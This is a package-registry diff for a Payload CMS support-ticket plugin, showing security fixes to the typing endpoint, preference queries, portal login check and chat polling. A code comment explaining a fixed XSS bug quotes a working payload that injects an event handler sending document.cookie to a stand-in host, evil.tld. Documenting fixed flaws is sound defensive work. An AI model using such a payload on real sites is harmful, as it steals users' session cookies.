@consilioweb/payload-support 2.0.1 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (246) hide show
  1. package/README.md +670 -402
  2. package/dist/components/RichTextEditor/index.d.ts +19 -0
  3. package/dist/components/TicketConversation/RewriteDropdown.d.ts +6 -0
  4. package/dist/components/TicketConversation/SkeletonText.d.ts +4 -0
  5. package/dist/components/TicketConversation/components/AISummaryPanel.d.ts +14 -0
  6. package/dist/components/TicketConversation/components/ActionPanels.d.ts +47 -0
  7. package/dist/components/TicketConversation/components/ActivityLog.d.ts +5 -0
  8. package/dist/components/TicketConversation/components/ClientBar.d.ts +5 -0
  9. package/dist/components/TicketConversation/components/ClientHistory.d.ts +24 -0
  10. package/dist/components/TicketConversation/components/CodeBlock.d.ts +26 -0
  11. package/dist/components/TicketConversation/components/CodeBlockInserter.d.ts +12 -0
  12. package/dist/components/TicketConversation/components/QuickActions.d.ts +32 -0
  13. package/dist/components/TicketConversation/components/TicketHeader.d.ts +19 -0
  14. package/dist/components/TicketConversation/components/TimeTrackingPanel.d.ts +24 -0
  15. package/dist/components/TicketConversation/config.d.ts +10 -0
  16. package/dist/components/TicketConversation/config.js +1 -40
  17. package/dist/components/TicketConversation/constants.d.ts +56 -0
  18. package/dist/components/TicketConversation/context.d.ts +53 -0
  19. package/dist/components/TicketConversation/hooks/useAI.d.ts +21 -0
  20. package/dist/components/TicketConversation/hooks/useDocumentIdFromUrl.d.ts +3 -0
  21. package/dist/components/TicketConversation/hooks/useFeatures.d.ts +23 -0
  22. package/dist/components/TicketConversation/hooks/useFeatures.js +61 -0
  23. package/dist/components/TicketConversation/hooks/useMessageActions.d.ts +20 -0
  24. package/dist/components/TicketConversation/hooks/useReply.d.ts +27 -0
  25. package/dist/components/TicketConversation/hooks/useTicketActions.d.ts +58 -0
  26. package/dist/components/TicketConversation/hooks/useTimeTracking.d.ts +18 -0
  27. package/dist/components/TicketConversation/hooks/useTranslation.d.ts +33 -0
  28. package/dist/components/TicketConversation/index.d.ts +4 -0
  29. package/dist/components/TicketConversation/index.js +2 -2
  30. package/dist/components/TicketConversation/types.d.ts +56 -0
  31. package/dist/components/TicketConversation/utils.d.ts +2 -0
  32. package/dist/index.cjs +940 -404
  33. package/dist/index.d.cts +119 -7
  34. package/dist/index.d.ts +119 -7
  35. package/dist/index.js +936 -405
  36. package/dist/utils/features.d.ts +123 -0
  37. package/dist/utils/features.js +147 -0
  38. package/dist/views/BillingView/client.d.ts +2 -0
  39. package/dist/views/BillingView/index.d.ts +4 -0
  40. package/dist/views/ChatView/client.d.ts +2 -0
  41. package/dist/views/ChatView/client.js +9 -9
  42. package/dist/views/ChatView/index.d.ts +4 -0
  43. package/dist/views/CrmView/client.d.ts +2 -0
  44. package/dist/views/CrmView/client.js +6 -9
  45. package/dist/views/CrmView/index.d.ts +4 -0
  46. package/dist/views/EmailTrackingView/client.d.ts +2 -0
  47. package/dist/views/EmailTrackingView/index.d.ts +4 -0
  48. package/dist/views/ImportConversationView/client.d.ts +2 -0
  49. package/dist/views/ImportConversationView/index.d.ts +4 -0
  50. package/dist/views/LogsView/client.d.ts +2 -0
  51. package/dist/views/LogsView/index.d.ts +4 -0
  52. package/dist/views/NewTicketView/client.d.ts +2 -0
  53. package/dist/views/NewTicketView/index.d.ts +4 -0
  54. package/dist/views/PendingEmailsView/client.d.ts +2 -0
  55. package/dist/views/PendingEmailsView/index.d.ts +4 -0
  56. package/dist/views/SupportDashboardView/client.d.ts +2 -0
  57. package/dist/views/SupportDashboardView/index.d.ts +4 -0
  58. package/dist/views/TicketDetailView/NextActionItem.d.ts +6 -0
  59. package/dist/views/TicketDetailView/RewriteDropdown.d.ts +7 -0
  60. package/dist/views/TicketDetailView/client.d.ts +2 -0
  61. package/dist/views/TicketDetailView/client.js +2 -2
  62. package/dist/views/TicketDetailView/constants.d.ts +13 -0
  63. package/dist/views/TicketDetailView/helpers.d.ts +2 -0
  64. package/dist/views/TicketDetailView/index.d.ts +4 -0
  65. package/dist/views/TicketDetailView/types.d.ts +40 -0
  66. package/dist/views/TicketInboxView/client.d.ts +2 -0
  67. package/dist/views/TicketInboxView/client.js +5 -5
  68. package/dist/views/TicketInboxView/index.d.ts +4 -0
  69. package/dist/views/TicketingSettingsView/client.d.ts +2 -0
  70. package/dist/views/TicketingSettingsView/client.js +5 -4
  71. package/dist/views/TicketingSettingsView/index.d.ts +4 -0
  72. package/dist/views/TimeDashboardView/client.d.ts +2 -0
  73. package/dist/views/TimeDashboardView/index.d.ts +4 -0
  74. package/dist/views/shared/AdminViewHeader.d.ts +13 -0
  75. package/dist/views/shared/ErrorBoundary.d.ts +17 -0
  76. package/dist/views/shared/Skeleton.d.ts +21 -0
  77. package/dist/views/shared/StatusPill.d.ts +8 -0
  78. package/dist/views/shared/adminTokens.d.ts +19 -0
  79. package/dist/views/shared/config.d.ts +8 -0
  80. package/dist/views/shared/config.js +1 -40
  81. package/dist/views/shared/dateLocale.d.ts +5 -0
  82. package/dist/views/shared/index.d.ts +12 -0
  83. package/dist/views/shared/index.js +2 -1
  84. package/dist/views/shared/sla.d.ts +14 -0
  85. package/dist/views.d.ts +13 -13
  86. package/package.json +16 -31
  87. package/src/collections/ChatMessages.ts +59 -2
  88. package/src/collections/ClientSummaries.ts +10 -4
  89. package/src/collections/SupportClients.ts +29 -0
  90. package/src/collections/TicketCollaborators.ts +6 -1
  91. package/src/collections/TicketMessages.ts +49 -24
  92. package/src/collections/Tickets.ts +117 -79
  93. package/src/collections/TimeEntries.ts +57 -32
  94. package/src/collections/WebhookEndpoints.ts +44 -2
  95. package/src/components/TicketConversation/config.ts +16 -80
  96. package/src/components/TicketConversation/hooks/useFeatures.ts +109 -0
  97. package/src/components/TicketConversation/index.tsx +2 -2
  98. package/src/endpoints/admin-chat.ts +3 -3
  99. package/src/endpoints/ai-agent.ts +3 -3
  100. package/src/endpoints/ai.ts +5 -4
  101. package/src/endpoints/auth-2fa.ts +16 -4
  102. package/src/endpoints/capabilities.ts +6 -6
  103. package/src/endpoints/chat.ts +7 -5
  104. package/src/endpoints/chatbot.ts +48 -2
  105. package/src/endpoints/client-intelligence.ts +6 -5
  106. package/src/endpoints/email-stats.ts +19 -3
  107. package/src/endpoints/import-conversation.ts +1 -1
  108. package/src/endpoints/index.ts +1 -1
  109. package/src/endpoints/invite-collaborator.ts +29 -3
  110. package/src/endpoints/login.ts +15 -2
  111. package/src/endpoints/oauth-google.ts +130 -8
  112. package/src/endpoints/process-scheduled.ts +13 -8
  113. package/src/endpoints/resend-notification.ts +3 -3
  114. package/src/endpoints/round-robin-config.ts +30 -20
  115. package/src/endpoints/send-reminder.ts +3 -3
  116. package/src/endpoints/settings.ts +28 -77
  117. package/src/endpoints/signature.ts +9 -2
  118. package/src/endpoints/ticket-synthesis.ts +3 -3
  119. package/src/endpoints/transfer-ticket.ts +28 -3
  120. package/src/endpoints/typing.ts +117 -14
  121. package/src/endpoints/user-prefs.ts +5 -2
  122. package/src/index.ts +6 -2
  123. package/src/plugin.ts +12 -0
  124. package/src/portal/LiveChat.tsx +33 -22
  125. package/src/portal/auth/layout.tsx +19 -1
  126. package/src/portal/auth/tickets/detail/MessageBody.tsx +88 -0
  127. package/src/portal/auth/tickets/detail/TicketPolling.tsx +5 -1
  128. package/src/portal/auth/tickets/detail/page.tsx +2 -6
  129. package/src/portal/login/page.tsx +11 -3
  130. package/src/types/lucide-react.d.ts +10 -2
  131. package/src/utils/aiAgent.ts +2 -1
  132. package/src/utils/aiProvider.ts +21 -0
  133. package/src/utils/features.ts +297 -0
  134. package/src/utils/fireWebhooks.ts +10 -1
  135. package/src/utils/generateTicketSynthesis.ts +2 -1
  136. package/src/utils/index.ts +4 -2
  137. package/src/utils/rateLimiter.ts +39 -5
  138. package/src/utils/readSettings.ts +199 -16
  139. package/src/utils/ticketAccess.ts +16 -1
  140. package/src/utils/twoFactorChallenge.ts +80 -0
  141. package/src/utils/urlSafety.ts +230 -0
  142. package/src/utils/webhookDispatcher.ts +24 -8
  143. package/src/views/ChatView/client.tsx +13 -9
  144. package/src/views/CrmView/client.tsx +10 -11
  145. package/src/views/TicketDetailView/client.tsx +2 -2
  146. package/src/views/TicketInboxView/client.tsx +10 -5
  147. package/src/views/TicketingSettingsView/client.tsx +8 -6
  148. package/src/views/shared/config.ts +14 -80
  149. package/src/views/shared/index.ts +3 -1
  150. package/dist/components/RichTextEditor/index.cjs +0 -279
  151. package/dist/components/TicketConversation/RewriteDropdown.cjs +0 -98
  152. package/dist/components/TicketConversation/SkeletonText.cjs +0 -21
  153. package/dist/components/TicketConversation/components/AISummaryPanel.cjs +0 -85
  154. package/dist/components/TicketConversation/components/ActionPanels.cjs +0 -193
  155. package/dist/components/TicketConversation/components/ActivityLog.cjs +0 -24
  156. package/dist/components/TicketConversation/components/ClientBar.cjs +0 -43
  157. package/dist/components/TicketConversation/components/ClientHistory.cjs +0 -138
  158. package/dist/components/TicketConversation/components/CodeBlock.cjs +0 -171
  159. package/dist/components/TicketConversation/components/CodeBlockInserter.cjs +0 -156
  160. package/dist/components/TicketConversation/components/QuickActions.cjs +0 -87
  161. package/dist/components/TicketConversation/components/TicketHeader.cjs +0 -93
  162. package/dist/components/TicketConversation/components/TimeTrackingPanel.cjs +0 -134
  163. package/dist/components/TicketConversation/config.cjs +0 -44
  164. package/dist/components/TicketConversation/constants.cjs +0 -127
  165. package/dist/components/TicketConversation/context.cjs +0 -13
  166. package/dist/components/TicketConversation/hooks/useAI.cjs +0 -196
  167. package/dist/components/TicketConversation/hooks/useDocumentIdFromUrl.cjs +0 -20
  168. package/dist/components/TicketConversation/hooks/useMessageActions.cjs +0 -136
  169. package/dist/components/TicketConversation/hooks/useReply.cjs +0 -188
  170. package/dist/components/TicketConversation/hooks/useTicketActions.cjs +0 -290
  171. package/dist/components/TicketConversation/hooks/useTimeTracking.cjs +0 -123
  172. package/dist/components/TicketConversation/hooks/useTranslation.cjs +0 -101
  173. package/dist/components/TicketConversation/index.cjs +0 -1114
  174. package/dist/components/TicketConversation/types.cjs +0 -2
  175. package/dist/components/TicketConversation/utils.cjs +0 -27
  176. package/dist/views/BillingView/client.cjs +0 -469
  177. package/dist/views/BillingView/index.cjs +0 -34
  178. package/dist/views/ChatView/client.cjs +0 -301
  179. package/dist/views/ChatView/index.cjs +0 -34
  180. package/dist/views/CrmView/client.cjs +0 -458
  181. package/dist/views/CrmView/index.cjs +0 -34
  182. package/dist/views/EmailTrackingView/client.cjs +0 -171
  183. package/dist/views/EmailTrackingView/index.cjs +0 -34
  184. package/dist/views/ImportConversationView/client.cjs +0 -238
  185. package/dist/views/ImportConversationView/index.cjs +0 -34
  186. package/dist/views/LogsView/client.cjs +0 -148
  187. package/dist/views/LogsView/index.cjs +0 -32
  188. package/dist/views/NewTicketView/client.cjs +0 -213
  189. package/dist/views/NewTicketView/index.cjs +0 -32
  190. package/dist/views/PendingEmailsView/client.cjs +0 -471
  191. package/dist/views/PendingEmailsView/index.cjs +0 -34
  192. package/dist/views/SupportDashboardView/client.cjs +0 -437
  193. package/dist/views/SupportDashboardView/index.cjs +0 -34
  194. package/dist/views/TicketDetailView/NextActionItem.cjs +0 -40
  195. package/dist/views/TicketDetailView/RewriteDropdown.cjs +0 -80
  196. package/dist/views/TicketDetailView/client.cjs +0 -1412
  197. package/dist/views/TicketDetailView/constants.cjs +0 -20
  198. package/dist/views/TicketDetailView/helpers.cjs +0 -23
  199. package/dist/views/TicketDetailView/index.cjs +0 -34
  200. package/dist/views/TicketDetailView/types.cjs +0 -2
  201. package/dist/views/TicketInboxView/client.cjs +0 -359
  202. package/dist/views/TicketInboxView/index.cjs +0 -32
  203. package/dist/views/TicketingSettingsView/client.cjs +0 -740
  204. package/dist/views/TicketingSettingsView/index.cjs +0 -34
  205. package/dist/views/TimeDashboardView/client.cjs +0 -180
  206. package/dist/views/TimeDashboardView/index.cjs +0 -34
  207. package/dist/views/shared/AdminViewHeader.cjs +0 -68
  208. package/dist/views/shared/ErrorBoundary.cjs +0 -55
  209. package/dist/views/shared/Skeleton.cjs +0 -77
  210. package/dist/views/shared/StatusPill.cjs +0 -47
  211. package/dist/views/shared/adminTokens.cjs +0 -34
  212. package/dist/views/shared/config.cjs +0 -44
  213. package/dist/views/shared/dateLocale.cjs +0 -5
  214. package/dist/views/shared/index.cjs +0 -72
  215. package/dist/views/shared/sla.cjs +0 -37
  216. package/dist/views.cjs +0 -86
  217. package/dist/views.d.cts +0 -13
  218. package/src/__tests__/aiSummaryRendering.test.ts +0 -21
  219. package/src/__tests__/authResponses.test.ts +0 -69
  220. package/src/__tests__/capabilities.test.ts +0 -71
  221. package/src/__tests__/generateTrackingToken.test.ts +0 -67
  222. package/src/__tests__/integration/ai-agent.test.ts +0 -46
  223. package/src/__tests__/integration/auth.test.ts +0 -43
  224. package/src/__tests__/integration/automation-rules.test.ts +0 -68
  225. package/src/__tests__/integration/buildTestPayload.ts +0 -52
  226. package/src/__tests__/integration/channels.test.ts +0 -52
  227. package/src/__tests__/integration/core-behaviors.test.ts +0 -81
  228. package/src/__tests__/integration/dashboard-volume.test.ts +0 -31
  229. package/src/__tests__/integration/digest.test.ts +0 -48
  230. package/src/__tests__/integration/invoice-pdf.test.ts +0 -30
  231. package/src/__tests__/integration/isolation.test.ts +0 -81
  232. package/src/__tests__/integration/mentions-invoice.test.ts +0 -50
  233. package/src/__tests__/integration/nps.test.ts +0 -37
  234. package/src/__tests__/integration/per-team-sla.test.ts +0 -44
  235. package/src/__tests__/integration/push.test.ts +0 -75
  236. package/src/__tests__/integration/sanitization.test.ts +0 -35
  237. package/src/__tests__/integration/sla-pause.test.ts +0 -39
  238. package/src/__tests__/integration/smoke.test.ts +0 -26
  239. package/src/__tests__/integration/snooze.test.ts +0 -68
  240. package/src/__tests__/integration/teams.test.ts +0 -38
  241. package/src/__tests__/rateLimiter.test.ts +0 -83
  242. package/src/__tests__/sanitizeHtml.test.ts +0 -165
  243. package/src/__tests__/sla.test.ts +0 -258
  244. package/src/__tests__/trackOpenEndpoint.test.ts +0 -54
  245. package/src/__tests__/translations.test.ts +0 -67
  246. package/src/__tests__/webhookSecurity.test.ts +0 -58
@@ -1,10 +1,36 @@
1
- import type { Endpoint } from 'payload'
1
+ import type { Endpoint, PayloadRequest } from 'payload'
2
2
  import type { CollectionSlugs } from '../utils/slugs'
3
+ import { dbFindByID } from '../utils/db'
3
4
 
4
- // In-memory typing state (ticketId -> { admin?: timestamp, client?: timestamp })
5
+ /**
6
+ * Ephemeral "someone is typing" state, process-local.
7
+ *
8
+ * Three properties this map MUST keep, because it is fed by an HTTP endpoint:
9
+ * - keys are shaped like ticket ids, never a caller-supplied blob;
10
+ * - a key is only created by a principal that can actually READ that ticket;
11
+ * - the map is bounded, and expired entries are reclaimed without depending on
12
+ * a matching GET (`cleanExpired` used to run only on the read path, for the
13
+ * single id being read — nothing ever swept the rest).
14
+ */
5
15
  const typingState = new Map<string, { admin?: number; client?: number; adminName?: string; clientName?: string }>()
6
16
 
7
17
  const TYPING_TTL = 5000 // 5 seconds
18
+ /** Hard ceiling on distinct ticket ids held at once — the state lives 5s. */
19
+ const MAX_TYPING_KEYS = 500
20
+
21
+ /**
22
+ * Ids are integers on SQL adapters and hex ObjectIds on Mongo, so the shape is
23
+ * validated rather than the type: printable id characters, bounded length. This
24
+ * caps the key SIZE; the access check below caps their NUMBER.
25
+ */
26
+ const TICKET_ID_PATTERN = /^[A-Za-z0-9_-]{1,64}$/
27
+
28
+ function normalizeTicketId(raw: unknown): string | null {
29
+ if (typeof raw === 'number') return Number.isInteger(raw) && raw > 0 ? String(raw) : null
30
+ if (typeof raw !== 'string') return null
31
+ const value = raw.trim()
32
+ return TICKET_ID_PATTERN.test(value) ? value : null
33
+ }
8
34
 
9
35
  function cleanExpired(ticketId: string) {
10
36
  const state = typingState.get(ticketId)
@@ -21,6 +47,53 @@ function cleanExpired(ticketId: string) {
21
47
  if (!state.admin && !state.client) typingState.delete(ticketId)
22
48
  }
23
49
 
50
+ /** Reclaims every expired entry — the map is at most MAX_TYPING_KEYS long. */
51
+ function sweepExpired() {
52
+ for (const key of Array.from(typingState.keys())) cleanExpired(key)
53
+ }
54
+
55
+ /** Oldest signal first, so the ceiling evicts the least recently active ticket. */
56
+ function evictOldest() {
57
+ let oldestKey: string | null = null
58
+ let oldestTs = Infinity
59
+ for (const [key, state] of typingState) {
60
+ const ts = Math.max(state.admin || 0, state.client || 0)
61
+ if (ts < oldestTs) {
62
+ oldestTs = ts
63
+ oldestKey = key
64
+ }
65
+ }
66
+ if (oldestKey !== null) typingState.delete(oldestKey)
67
+ }
68
+
69
+ /**
70
+ * Can this principal see this ticket? Delegates to the `tickets` collection
71
+ * access rules — the SAME source of truth the rest of the plugin reads through
72
+ * (owner, collaborator, team scoping), instead of a second implementation that
73
+ * would drift from it. Any other auth collection of the host app is refused
74
+ * outright: the endpoint only ever spoke for staff and support-clients.
75
+ */
76
+ async function mayAccessTicket(
77
+ req: PayloadRequest,
78
+ slugs: CollectionSlugs,
79
+ ticketId: string,
80
+ ): Promise<boolean> {
81
+ const collection = (req.user as { collection?: string } | null)?.collection
82
+ if (collection !== slugs.users && collection !== slugs.supportClients) return false
83
+ try {
84
+ const doc = await dbFindByID(req.payload, slugs.tickets, {
85
+ id: ticketId,
86
+ depth: 0,
87
+ overrideAccess: false,
88
+ user: req.user,
89
+ })
90
+ return !!doc
91
+ } catch {
92
+ // Forbidden or NotFound — same answer either way, so no existence oracle.
93
+ return false
94
+ }
95
+ }
96
+
24
97
  /**
25
98
  * POST /api/support/typing — Signal that user is typing
26
99
  */
@@ -34,14 +107,23 @@ export function createTypingPostEndpoint(slugs: CollectionSlugs): Endpoint {
34
107
  return Response.json({ error: 'Unauthorized' }, { status: 401 })
35
108
  }
36
109
 
37
- const { ticketId } = (await req.json!()) as { ticketId: number }
38
- if (!ticketId) {
110
+ const { ticketId } = (await req.json!()) as { ticketId?: unknown }
111
+ const key = normalizeTicketId(ticketId)
112
+ if (!key) {
39
113
  return Response.json({ error: 'ticketId required' }, { status: 400 })
40
114
  }
41
115
 
42
- const key = String(ticketId)
116
+ if (!(await mayAccessTicket(req, slugs, key))) {
117
+ return Response.json({ error: 'Forbidden' }, { status: 403 })
118
+ }
119
+
43
120
  const state = typingState.get(key) || {}
44
121
 
122
+ if (!typingState.has(key) && typingState.size >= MAX_TYPING_KEYS) {
123
+ sweepExpired()
124
+ if (typingState.size >= MAX_TYPING_KEYS) evictOldest()
125
+ }
126
+
45
127
  if (req.user.collection === slugs.users) {
46
128
  state.admin = Date.now()
47
129
  state.adminName = (req.user as any).firstName || 'Support'
@@ -67,35 +149,56 @@ export function createTypingGetEndpoint(slugs: CollectionSlugs): Endpoint {
67
149
  path: '/support/typing',
68
150
  method: 'get',
69
151
  handler: async (req) => {
152
+ const idle = { typing: false, name: null }
70
153
  try {
71
154
  if (!req.user) {
72
155
  return Response.json({ error: 'Unauthorized' }, { status: 401 })
73
156
  }
74
157
 
75
158
  const url = new URL(req.url!)
76
- const ticketId = url.searchParams.get('ticketId')
77
- if (!ticketId) {
159
+ const key = normalizeTicketId(url.searchParams.get('ticketId'))
160
+ if (!key) {
78
161
  return Response.json({ error: 'ticketId required' }, { status: 400 })
79
162
  }
80
163
 
81
- cleanExpired(ticketId)
82
- const state = typingState.get(ticketId)
164
+ cleanExpired(key)
165
+ const state = typingState.get(key)
166
+
167
+ // Nothing to disclose: answer without touching the database. A caller
168
+ // with no right to the ticket gets this exact body too, so "idle" and
169
+ // "not yours" stay indistinguishable — and the 2s poll of every open
170
+ // ticket page costs no query in the common case.
171
+ if (!state) return Response.json(idle)
172
+
173
+ // There IS a name to hand out (the agent's first name, historically
174
+ // served to any authenticated caller for any ticket id) — check first.
175
+ if (!(await mayAccessTicket(req, slugs, key))) return Response.json(idle)
83
176
 
84
177
  // Admin sees client typing, client sees admin typing
85
178
  if (req.user.collection === slugs.users) {
86
179
  return Response.json({
87
- typing: !!state?.client,
88
- name: state?.clientName || null,
180
+ typing: !!state.client,
181
+ name: state.clientName || null,
89
182
  })
90
183
  } else {
91
184
  return Response.json({
92
- typing: !!state?.admin,
93
- name: state?.adminName || null,
185
+ typing: !!state.admin,
186
+ name: state.adminName || null,
94
187
  })
95
188
  }
96
189
  } catch {
97
- return Response.json({ typing: false, name: null })
190
+ return Response.json(idle)
98
191
  }
99
192
  },
100
193
  }
101
194
  }
195
+
196
+ /** Test seam — the module-level map must not leak state across test cases. */
197
+ export function __resetTypingStateForTests(): void {
198
+ typingState.clear()
199
+ }
200
+
201
+ /** Test seam — the ceiling is the point of the fix, so it must be observable. */
202
+ export function __typingStateSizeForTests(): number {
203
+ return typingState.size
204
+ }
@@ -30,8 +30,11 @@ export function createUserPrefsGetEndpoint(slugs: CollectionSlugs): Endpoint {
30
30
 
31
31
  const key = `${PREF_KEY_PREFIX}-${req.user!.id}`
32
32
 
33
+ // Scope to the staff auth collection: `payload-preferences` accepts a
34
+ // write from ANY authenticated principal, and ids collide between auth
35
+ // collections.
33
36
  const prefs = await dbFind(payload, 'payload-preferences', {
34
- where: { key: { equals: key } },
37
+ where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
35
38
  limit: 1,
36
39
  depth: 0,
37
40
  overrideAccess: true,
@@ -75,7 +78,7 @@ export function createUserPrefsPostEndpoint(slugs: CollectionSlugs): Endpoint {
75
78
 
76
79
  // Read existing prefs to merge
77
80
  const existing = await dbFind(payload, 'payload-preferences', {
78
- where: { key: { equals: key } },
81
+ where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
79
82
  limit: 1,
80
83
  depth: 0,
81
84
  overrideAccess: true,
package/src/index.ts CHANGED
@@ -21,8 +21,12 @@ export { DEFAULT_FEATURES } from './types'
21
21
  // Utils
22
22
  export { resolveSlugs, DEFAULT_SLUGS } from './utils/slugs'
23
23
  export type { CollectionSlugs } from './utils/slugs'
24
- export { readSupportSettings, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
25
- export type { SupportSettings, UserPrefs } from './utils/readSettings'
24
+ export { readSupportSettings, readSupportSettingsState, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
25
+ export type { SupportSettings, SupportSettingsState, UserPrefs } from './utils/readSettings'
26
+ // Runtime feature flags (server-authoritative, see utils/features.ts). Distinct
27
+ // from the build-time `SupportFeatures` passed to `supportPlugin()`.
28
+ export { DEFAULT_TICKETING_FEATURES, normalizeFeatures, projectAutoClose, stripProjectedFeatures } from './utils/features'
29
+ export type { TicketingFeatures } from './utils/features'
26
30
  export { MemoryRateLimitStore, PayloadRateLimitStore, RateLimiter } from './utils/rateLimiter'
27
31
  export type { RateLimitEntry, RateLimitStore } from './utils/rateLimiter'
28
32
  export { DEFAULT_INBOUND_EMAIL_LIMITS, validateInboundEmailPayload, verifySecret } from './utils/webhookSecurity'
package/src/plugin.ts CHANGED
@@ -31,6 +31,7 @@ import {
31
31
  createSupportCountersCollection,
32
32
  } from './collections'
33
33
  import { PayloadRateLimitStore } from './utils/rateLimiter'
34
+ import { SUPPORT_STAFF_SLUG_CONFIG_KEY } from './utils/readSettings'
34
35
 
35
36
  function viewConfig(component: string, path: string): AdminViewConfig {
36
37
  return { Component: component, path: path as `/${string}` }
@@ -169,6 +170,17 @@ export function supportPlugin(config?: SupportPluginConfig): Plugin {
169
170
 
170
171
  return {
171
172
  ...incomingConfig,
173
+ // Publish the resolved staff collection so the server-side readers share
174
+ // ONE source of truth with the writers. `requireAdmin` compares against
175
+ // `slugs.users`; the `payload-preferences` reads used to scope themselves
176
+ // on `config.admin.user`, which Payload silently defaults to the first
177
+ // auth collection of the host app — a different collection on any app
178
+ // that declares `collectionSlugs.users`, and the settings-poisoning hole
179
+ // reopened right there.
180
+ custom: {
181
+ ...incomingConfig.custom,
182
+ [SUPPORT_STAFF_SLUG_CONFIG_KEY]: slugs.users,
183
+ },
172
184
  collections: config?.skipCollections
173
185
  ? existingCollections
174
186
  : [...existingCollections, ...supportCollections],
@@ -29,6 +29,13 @@ export function LiveChat() {
29
29
  const lastFetchRef = useRef<string | null>(null)
30
30
  const inputRef = useRef<HTMLInputElement>(null)
31
31
  const pollIntervalRef = useRef<ReturnType<typeof setTimeout> | null>(null)
32
+ // Mirror of `messages`. The poll decision (and the unread badge) MUST be taken
33
+ // outside the setMessages updater: React skips the updater on the eager-state
34
+ // path, so a flag assigned inside it is only ever written on the very first
35
+ // update — after which `hasNewMessages` stays false, the adaptive backoff climbs
36
+ // to its 30 s ceiling and never comes back down, mid-conversation. Same pattern
37
+ // as ChatWidget.tsx.
38
+ const messagesRef = useRef<ChatMessage[]>([])
32
39
 
33
40
  // Load session from localStorage on mount
34
41
  useEffect(() => {
@@ -42,6 +49,7 @@ export function LiveChat() {
42
49
 
43
50
  // Auto-scroll to bottom when messages change
44
51
  useEffect(() => {
52
+ messagesRef.current = messages
45
53
  messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' })
46
54
  }, [messages])
47
55
 
@@ -61,31 +69,32 @@ export function LiveChat() {
61
69
 
62
70
  const data = await res.json()
63
71
  if (data.messages?.length > 0) {
64
- let hadNewMessages = false
65
- setMessages((prev) => {
66
- const existingIds = new Set(prev.map((m) => String(m.id)))
67
- const newMsgs = data.messages.filter(
68
- (m: ChatMessage) => !existingIds.has(String(m.id)),
69
- )
70
- if (newMsgs.length === 0) return prev
71
-
72
- hadNewMessages = true
73
-
74
- // Count agent messages as unread if chat panel is closed
75
- if (screen === 'closed') {
76
- const agentNewMsgs = newMsgs.filter(
77
- (m: ChatMessage) => m.senderType === 'agent',
78
- )
79
- if (agentNewMsgs.length > 0) {
80
- setUnreadCount((prev) => prev + agentNewMsgs.length)
81
- }
72
+ const existingIds = new Set(messagesRef.current.map((m) => String(m.id)))
73
+ const newMsgs: ChatMessage[] = data.messages.filter(
74
+ (m: ChatMessage) => !existingIds.has(String(m.id)),
75
+ )
76
+ lastFetchRef.current = data.messages[data.messages.length - 1].createdAt
77
+ if (newMsgs.length === 0) return false
78
+
79
+ // Count agent messages as unread if chat panel is closed. Kept OUT of the
80
+ // updater: nesting a setState there also double-counted the badge under
81
+ // StrictMode's double invocation in dev.
82
+ if (screen === 'closed') {
83
+ const agentNewMsgs = newMsgs.filter((m) => m.senderType === 'agent')
84
+ if (agentNewMsgs.length > 0) {
85
+ setUnreadCount((prev) => prev + agentNewMsgs.length)
82
86
  }
87
+ }
83
88
 
84
- return [...prev, ...newMsgs]
89
+ setMessages((prev) => {
90
+ // Re-dedupe against the authoritative state: the mirror can lag by one
91
+ // commit if a message was appended optimistically in the meantime.
92
+ const prevIds = new Set(prev.map((m) => String(m.id)))
93
+ const trulyNew = newMsgs.filter((m) => !prevIds.has(String(m.id)))
94
+ if (trulyNew.length === 0) return prev
95
+ return [...prev, ...trulyNew]
85
96
  })
86
- lastFetchRef.current =
87
- data.messages[data.messages.length - 1].createdAt
88
- return hadNewMessages
97
+ return true
89
98
  }
90
99
  return false
91
100
  } catch {
@@ -127,6 +136,8 @@ export function LiveChat() {
127
136
  // If we have a session, fetch messages
128
137
  if (session.sessionId) {
129
138
  lastFetchRef.current = null
139
+ // Synchronous too: pollMessages() runs before the mirroring effect commits.
140
+ messagesRef.current = []
130
141
  setMessages([])
131
142
  pollMessages()
132
143
  }
@@ -18,8 +18,26 @@ export type SupportUser = {
18
18
  collection: 'support-clients'
19
19
  }
20
20
 
21
+ /**
22
+ * The ONLY reliable discriminant is the auth collection the session belongs to.
23
+ *
24
+ * This used to be a duck test on the presence of a `company` field, which any
25
+ * user of another auth collection of the host app (front-office members,
26
+ * subscribers — `company` is a very common field on such a document) satisfied:
27
+ * they entered the portal shell instead of being redirected to the login page.
28
+ *
29
+ * `'support-clients'` is hard-coded on purpose — every other portal file already
30
+ * hard-codes it (`/api/support-clients/login`, `/api/support-clients/me`, the
31
+ * `user.collection` tests in `tickets/detail/page.tsx`), because the portal is a
32
+ * copied template with no access to the plugin's resolved `collectionSlugs`. An
33
+ * integrator who renames the collection must adjust the whole template.
34
+ */
21
35
  function isSupportUser(user: unknown): user is SupportUser {
22
- return typeof user === 'object' && user !== null && 'company' in user
36
+ return (
37
+ typeof user === 'object' &&
38
+ user !== null &&
39
+ (user as { collection?: unknown }).collection === 'support-clients'
40
+ )
23
41
  }
24
42
 
25
43
  async function getSupportUser(): Promise<SupportUser | null> {
@@ -0,0 +1,88 @@
1
+ import React from 'react'
2
+
3
+ /**
4
+ * Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
5
+ *
6
+ * This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
7
+ * replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
8
+ * target into `href="$2"`. Since the URL pattern accepts every character but
9
+ * whitespace and `)`, a body such as
10
+ *
11
+ * [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
12
+ *
13
+ * closed the `href` attribute and added a real event-handler attribute.
14
+ * `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
15
+ * pipeline copies `pendingEmail.body` verbatim into a ticket message
16
+ * (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
17
+ * looks at `bodyHtml`.
18
+ *
19
+ * The fix is to stop building HTML: React escapes text nodes and attribute
20
+ * values on its own, so no quoting mistake is possible. The URL is additionally
21
+ * parsed and restricted to http/https before it reaches an `href`.
22
+ *
23
+ * Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
24
+ */
25
